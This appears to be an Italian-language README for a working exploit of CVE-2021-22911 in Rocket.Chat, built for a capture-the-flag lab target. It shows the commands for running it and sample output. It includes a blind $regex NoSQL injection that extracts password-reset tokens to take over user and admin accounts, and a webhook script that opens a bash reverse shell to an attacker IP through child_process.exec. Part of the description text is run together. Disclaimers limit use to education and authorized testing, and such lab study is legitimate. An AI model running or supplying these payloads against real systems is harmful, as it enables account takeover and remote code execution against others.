
CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Scopo Educativo
Questo exploit è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non è responsabile per qualsiasi uso improprio.
CVE-2021-22911 è una vulnerabilità critica di NoSQL injection non autenticata in Rocket.Chat che porta all'esecuzione di codice remoto (RCE).
Questo exploit combina tre attacchi di NoSQL injection:
$regex per estrarre il token di reimpostazione della password carattere per caratterechild_process.exec() di Node.js per avviare una reverse shellpip install requests
nc -lvnp 4444
Inserimento manuale dell'IP:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Rilevamento automatico IP tun0 (Consigliato):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
Argomenti:
-u: Email dell'utente con privilegi bassi (deve esistere)-a: Email dell'amministratore-t: URL del target (istanza Rocket.Chat)-i: Il tuo IP attaccante (tun0)-p: Porta del listener Netcat============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è un reato penale ai sensi del Computer Fraud and Abuse Act (CFAA) e di leggi internazionali simili.
Usa responsabilmente. Testa solo sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.